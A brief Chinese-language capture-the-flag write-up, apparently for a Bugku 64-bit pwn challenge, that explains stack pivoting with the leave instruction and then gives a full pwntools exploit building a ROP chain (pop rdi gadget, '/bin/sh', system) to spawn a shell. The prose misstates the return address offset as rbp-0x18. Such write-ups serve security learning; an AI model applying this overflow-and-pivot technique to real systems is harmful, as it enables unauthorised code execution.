这个题 好像是 bugku的 但是好像这个题 给换了
这个是 64位的程序
这个题 难搞点就是 栈空间不够 可以看的出来 我们s的地方是 rbp-0x10的地方 那么 返回地址 应该就是 rbp-0x18的地址
如果我们想把这个搞定 那么 要考虑一下 栈转移 栈转移 有很多高级的用法 这里 就浅显的说一些简单的 栈转移
栈转移 其实就是利用的是 这两个语句
leave 这个 可以拆分成 mov esp ebp pop ebp 这里的 pop ebp 就可以把我们的ebp 值改变了 那么 栈空间就转移了
我们就可以确定我们写入的地址是多少了 那么 我们在构造一下 参数就行了
具体看exp 就好
#coding:utf-8
from pwn import *
io=process('./pwn3' )
#io=remote('114.116.54.89',10000)
elf=ELF('./pwn3')
read_addr=0x40072a
system_call=0x40075a
write_addr=0x601fa0
pop_rdi=0x00000000004007d3
pay='a'*0x10+p64(write_addr+0x10)+p64(read_addr)
io.sendline(pay)
pay="/bin/sh\x00"
pay+='a'*(0x10-len(pay))
pay+=p64(0)
pay+=p64(pop_rdi)
pay+=p64(write_addr)
pay+=p64(0x40075a)
io.sendline(pay)
io.interactive()